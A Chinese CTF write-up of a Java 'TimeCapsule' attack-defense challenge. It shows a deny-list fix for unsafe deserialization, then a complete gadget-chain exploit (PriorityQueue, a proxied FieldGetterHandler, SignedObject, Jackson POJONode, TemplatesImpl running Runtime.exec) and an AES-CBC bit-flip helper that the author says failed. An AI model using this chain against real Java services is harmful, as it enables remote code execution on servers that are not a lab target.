运气真好,混进决赛了。结果还是break不掉,唉真废物
fix
这道题当时没怎么细想它是怎么break掉的,看到util里有一个SafeObjectInputStream
就直接上了个加强版的黑名单进resolveClass
,然后传jar包就修好了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| package com.ctf.util;
import java.io.IOException; import java.io.InputStream; import java.io.InvalidClassException; import java.io.ObjectInputStream; import java.io.ObjectStreamClass;
public class SafeObjectInputStream extends ObjectInputStream { public SafeObjectInputStream(InputStream in) throws IOException { super(in); }
@Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { for (String deny: new String[]{ "java.net.InetAddress", "org.aspectj.weaver.tools.cache.SimpleCache", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "com.alibaba.fastjson.JSONArray", "javax.management.BadAttributeValueExpException", "java.security.SignedObject", "org.apache.commons.collections.functors", "org.apache.commons.collections.Transformer", "com.h2", "com.h2database", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" }){ if(desc.getName().startsWith(deny)){ throw new InvalidClassException("Unauthorized ClassName " + desc.getName()); } } if (!desc.getName().startsWith("com.ctf.") && !desc.getName().startsWith("java.") && !desc.getName().equals("[B")) { throw new InvalidClassException("Unauthorized class deserialization", desc.getName()); } return super.resolveClass(desc); } }
|
然后update.sh:
1 2 3 4 5
| #!/bin/bash
mv TimeCapsule-1.0.jar /app/TimeCapsule-1.0.jar ps -ef | grep java | awk '{print $2}' | xargs kill -9 java -jar /app/TimeCapsule-1.0.jar
|
这样就修好了,只不过比赛方从第二轮开始卡check卡了半小时以上,少吃了几轮分
当时应该第一时间就这么fix的而不是想着去break的,唉,说不定能多吃几轮分
break
比赛的时候没break,去做另一道题了,回来看看怎么break的:
先看controller:
1 2 3 4 5 6 7 8 9 10 11
| @PostMapping({"/register"}) public ResponseEntity<?> register(@RequestBody User user) { if (this.userRepository.existsByUsername(user.getUsername())) { return ResponseEntity.badRequest().body("Username already exists. "); } user.setSecretKey(Base64.getEncoder().encodeToString(CryptoUtils.generateKey())); user.setPassword(this.passwordEncoder.encode(user.getPassword())); this.userRepository.save(user); return ResponseEntity.ok().build(); }
|
这个路由能够注册用户,然后生成aes key
1 2 3 4 5 6 7 8 9
| @PostMapping({"/capsules"}) public TimeCapsule createCapsule(@RequestBody String content, Authentication authentication) { TimeCapsule capsule = new TimeCapsule(); capsule.setContent(content); capsule.setCreatedAt(LocalDateTime.now()); capsule.setCreatorName(authentication.getName()); return (TimeCapsule) this.capsuleRepository.save(capsule); }
|
这个路由能够创建一个capsule,这个capsule能够储存我们传入的content
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| @GetMapping({"/capsules/{id}/export"}) public String exportCapsule(@PathVariable Long id, Authentication authentication) throws Exception { User user = this.userRepository.findByUsername(authentication.getName()).orElseThrow(() -> { return new RuntimeException("User not found"); }); TimeCapsule capsule = this.capsuleRepository.findById(id).orElseThrow(() -> { return new RuntimeException("Capsule not found"); }); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(capsule); oos.close(); SecretKey key = new SecretKeySpec(Base64.getDecoder().decode(user.getSecretKey()), "AES"); return CryptoUtils.encrypt(bos.toByteArray(), key); }
|
这个路由能够导出一个指定的capsule,该capsule导出的结果使用user的key进行了aes加密
1 2 3 4 5 6 7 8 9 10 11 12
| public static String encrypt(byte[] data, SecretKey key) throws Exception { Cipher cipher = Cipher.getInstance(ALGORITHM); byte[] iv = new byte[16]; SecureRandom.getInstanceStrong().nextBytes(iv); IvParameterSpec ivSpec = new IvParameterSpec(iv); cipher.init(1, key, ivSpec); byte[] encrypted = cipher.doFinal(data); byte[] combined = new byte[iv.length + encrypted.length]; System.arraycopy(iv, 0, combined, 0, iv.length); System.arraycopy(encrypted, 0, combined, iv.length, encrypted.length); return Base64.getEncoder().encodeToString(combined); }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| @PostMapping({"/capsules/import"}) public TimeCapsule importCapsule(@RequestBody String encryptedData, Authentication authentication) throws Exception { User user = this.userRepository.findByUsername(authentication.getName()).orElseThrow(() -> { return new RuntimeException("User not found"); }); SecretKey key = new SecretKeySpec(Base64.getDecoder().decode(user.getSecretKey()), "AES"); byte[] decrypted = CryptoUtils.decrypt(encryptedData, key); ByteArrayInputStream bis = new ByteArrayInputStream(decrypted); Throwable th = null; try { SafeObjectInputStream ois = new SafeObjectInputStream(bis); Throwable th2 = null; try { TimeCapsule capsule = (TimeCapsule) ois.readObject(); TimeCapsule timeCapsule = (TimeCapsule) this.capsuleRepository.save(capsule); if (ois != null) { if (0 != 0) { try { ois.close(); } catch (Throwable th3) { th2.addSuppressed(th3); } } else { ois.close(); } } return timeCapsule; } finally { } } finally { if (bis != null) { if (0 != 0) { try { bis.close(); } catch (Throwable th4) { th.addSuppressed(th4); } } else { bis.close(); } } } }
|
最后这个路由应该是根据用户的key对传入的capsule进行解密并且反序列化
反序列化采用了自己hook的ObjectInputStream
:
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class SafeObjectInputStream extends ObjectInputStream { public SafeObjectInputStream(InputStream in) throws IOException { super(in); }
@Override protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!desc.getName().startsWith("com.ctf.") && !desc.getName().startsWith("java.") && !desc.getName().equals("[B")) { throw new InvalidClassException("Unauthorized class deserialization", desc.getName()); } return super.resolveClass(desc); } }
|
该ObjectInputStream
好像只允许com.ctf.
、java.
、[B
开头的类进行反序列化,简单做个测试验证一下?
比赛的时候想起来想创spring project来调一下,发现并不行.jpg,阿里云的jdk8的spring连不上,只能够用旧项目将就调
果然啊,我这里测试BadAttributeValueExpException
是过不了它的验证的,也就是说只能够用这几个类来打了
题目在com.ctf.util
里给了一个FieldGetterHandler
能够调用getter方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| public class FieldGetterHandler implements InvocationHandler, Serializable { String fieldName;
@Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { Object myObject = args[0]; Class<?> clazz = myObject.getClass(); String getterMethodName = getGetterMethodName(this.fieldName, false); Method getterMethod = clazz.getMethod(getterMethodName, new Class[0]); return getterMethod.invoke(myObject, new Object[0]); }
private static String getGetterMethodName(String fieldName, boolean isBoolean) { String prefix = isBoolean ? BeanUtil.PREFIX_GETTER_IS : BeanUtil.PREFIX_GETTER_GET; return prefix + capitalize(fieldName); }
private static String capitalize(String str) { if (str == null || str.isEmpty()) { return str; } return str.substring(0, 1).toUpperCase() + str.substring(1); } }
|
能够通过invoke
方法去调用getter
,而一个handler怎么触发invoke
呢?其实是通过调用动态代理中的任意一个方法调用的,demo如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| package com.ctf.test;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy;
public class test { public static void main(String[] args) { TestInterface1 myProxy = (TestInterface1) Proxy.newProxyInstance(TestProxy.class.getClassLoader(), new Class[]{TestInterface1.class, TestInterface2.class}, new MyHandler()); for(Method m : myProxy.getClass().getDeclaredMethods()){ System.out.println(m.getName()); } myProxy.say(); } }
interface TestInterface1{ public void say(); }
interface TestInterface2{ public void test(); }
class TestProxy{ public void eat(){ System.out.println("eat"); }
public void say(){ System.out.printf("say"); }
public String getName(String a){ return a; } }
class MyHandler implements InvocationHandler{ @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable{ System.out.println("Invoke dynamic proxy handler"); return null; } }
|
此处动态代理了Interface1
、Interface2
,通过调用Interface1
的say()方法能够触发invoke方法打印Invoke dynamic proxy handler
而题目中的Handler
提供了调用任意getter的方法。经过测试通过proxy.invoke(xxx)
来调用getter的时候其实是调用xxx的getter,因此需要一个带参的方法来调用。
那gadget呢?我最开始想的是很明显地往templatesImpl
的方向去靠,尝试直接调用templatesImpl
的getOutputProperites
方法去rce
然后需要解决invoke
的fieldname问题,因为invoke调用getter的时候是根据get+fieldName
来寻找方法的,而没有方法能够对fieldName
赋值。这点很简单,可以直接通过反射对fieldName
赋值
因此我最开始的思路就是通过readObject()->proxy.somemethod()->invoke->templatesImpl.getOutputProperties
从而实现rce
但是这里其实有个问题,就是我们templatesImpl
会被直接waf掉,没办法bypass。但是先不管,我现在想找到一条从入口通向somemethod()
的方法
一开始我想的是通过equals(x)
方法来调用,但是我没找到哪个入口能够通过readObject()
方法找到equals
方法调用
后来又发现proxy
可以被强制转换成任意接口,从而获取到该接口的方法,这也能够调用的方法就更多了,我又尝试让他转成了Map
接口,然后能够得到Map
的get
和put
方法
对get
方法尝试的比较多,因为我去查了一下自己记录的资料似乎cc6能够通过AbstractMap.get()
到LazyMap.get()
但是前提是需要TiedMapEntry
,而我们题目内没给出cc依赖,因此行不通。对于put
方法倒是找到了HashSet.readObject()
能够触发map.put
,但是好像不行,这个map是自己创的,而不是我们的Proxy:
由此这两条路似乎都不行了,只能换个接口来代理。我看了cb链的思路,似乎可以代理Comparator
,然后通过compare()
方法来实现,cb链的利用链:
1
| PriorityQueue.readObject() -> heapify() -> swiftdown() -> siftDownUsingComparator(k, x) -> comparator.compare(x, y)
|
而handler如果有多个参数,会选择第一个参数作为object来触发它的getter:
因此思路就有了:
1
| PriorityQueue.readObject() -> heapify() -> swiftdown() -> siftDownUsingComparator(k, x) -> comparator.compare(x, y) -> FieldGetterHandler.invoke() -> 接上getter
|
第一个问题解决了,第二个问题就是怎么能够bypass这个templatesImpl的waf。其实也很简单,利用SignedObject
打二次反序列化就行了,因为SignedObject
全员都在java.Security
包里,符合java.
的限制
也就是说采用cb
链触发invoke
从而调用SignedObject
的getObject
方法进行二次反序列化打jackson
即可,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124
| package com.ctf;
import com.ctf.util.FieldGetterHandler; import com.ctf.util.SafeObjectInputStream; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import javassist.CtMethod;
import javax.management.BadAttributeValueExpException; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.lang.reflect.Proxy; import java.security.KeyPair; import java.security.KeyPairGenerator; import java.security.Signature; import java.security.SignedObject; import java.util.*;
public class challenge { public static void main(String[] args) throws Exception {
TemplatesImpl templates = getTemplatesImpl();
ClassPool pool = ClassPool.getDefault(); CtClass node = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod wr = node.getDeclaredMethod("writeReplace"); node.removeMethod(wr);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); node.toClass(classLoader, null);
POJONode pojoNode = new POJONode(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); SetValue(badAttributeValueExpException, "val", pojoNode);
KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); KeyPair keyPair = keyPairGenerator.generateKeyPair(); SignedObject signedObject = new SignedObject(badAttributeValueExpException, keyPair.getPrivate(), Signature.getInstance("DSA"));
FieldGetterHandler fieldGetterHandler = new FieldGetterHandler(); Field field = fieldGetterHandler.getClass().getDeclaredField("fieldName"); field.setAccessible(true); field.set(fieldGetterHandler, "Object"); Comparator proxy = (Comparator) Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[]{Comparator.class}, fieldGetterHandler);
PriorityQueue priorityQueue = new PriorityQueue();
priorityQueue.add(1); priorityQueue.add(1);
SetValue(priorityQueue, "queue", new Object[]{signedObject, signedObject}); SetValue(priorityQueue, "comparator", proxy); String res = Serialize(priorityQueue); SafeUnserialize(res);
} public static String Serialize(Object obj) throws Exception{ ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos); objectOutputStream.writeObject(obj); String res = Base64.getEncoder().encodeToString(baos.toByteArray()); System.out.println(res); return res; }
public static void UnsafeSerialize(String s) throws Exception{ byte[] decrypted = Base64.getDecoder().decode(s); ByteArrayInputStream bis = new ByteArrayInputStream(decrypted); ObjectInputStream safeObjectInputStream = new ObjectInputStream(bis); safeObjectInputStream.readObject(); }
public static void SafeUnserialize(String s) throws Exception{ byte[] decrypted = Base64.getDecoder().decode(s); ByteArrayInputStream bis = new ByteArrayInputStream(decrypted); SafeObjectInputStream safeObjectInputStream = new SafeObjectInputStream(bis); safeObjectInputStream.readObject(); }
private static byte[] GenerateEvil() throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); ctClass.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass); constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); ctClass.addConstructor(constructor); return ctClass.toBytecode(); }
public static void SetValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
private static TemplatesImpl getTemplatesImpl() throws Exception{ byte[][] bytes = new byte[][]{GenerateEvil()}; TemplatesImpl templates = new TemplatesImpl(); SetValue(templates, "_bytecodes", bytes); SetValue(templates, "_name", "aaa"); SetValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; } }
|
得到的payload能够弹计算器)
接下来最后的问题就是怎么触发了,我搭了个docker。先去/api/register
注册用户:
1 2 3 4 5 6 7 8 9 10 11
| @PostMapping({"/register"}) public ResponseEntity<?> register(@RequestBody User user) { if (this.userRepository.existsByUsername(user.getUsername())) { return ResponseEntity.badRequest().body("Username already exists. "); } user.setSecretKey(Base64.getEncoder().encodeToString(CryptoUtils.generateKey())); user.setPassword(this.passwordEncoder.encode(user.getPassword())); this.userRepository.save(user); return ResponseEntity.ok().build(); }
|
然后登录,并往/api/capsules
里提交我们的content:
1 2 3 4 5 6 7 8 9
| @PostMapping({"/capsules"}) public TimeCapsule createCapsule(@RequestBody String content, Authentication authentication) { TimeCapsule capsule = new TimeCapsule(); capsule.setContent(content); capsule.setCreatedAt(LocalDateTime.now()); capsule.setCreatorName(authentication.getName()); return (TimeCapsule) this.capsuleRepository.save(capsule); }
|
这个时候确实会返回一个id给我们,然后通过export来得到序列化数据流
再通过import来反序列化,但是在交content的时候直接报错了,说明不能够直接这么交。。
那就只能进行加密操作了,后面crypto一晚上也没办法打rce,太失败了。明明已经是控制好长度一致,然后用pt、ct、decode_payload异或生成新的数据流了,但是还是不行,麻了已经,附带payload:
1 2 3 4 5 6 7
| def encrypt_payload(payload, pt, ct): assert len(payload) == len(pt) assert len(payload) == len(ct) - 16 iv = ct[:16] return iv + "".join( [chr(ord(a) ^ ord(b) ^ ord(c)) for a, b, c in zip(payload, pt, ct[16:])] )
|
其中payload是java反序列化的payload、pt是同样的一个timeCapsule:
1 2 3 4 5 6 7 8 9
| public static void CreateCapsule() throws Exception{ TimeCapsule capsule = new TimeCapsule(); capsule.setContent("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx");
capsule.setCreatedAt(LocalDateTime.parse("2025-03-18T22:48:49.209")); capsule.setCreatorName("1"); capsule.setId(2L); Serialize(capsule); }
|
最后的ct是访问的值,其中有iv
算了就这样了,了解链子怎么用的就行了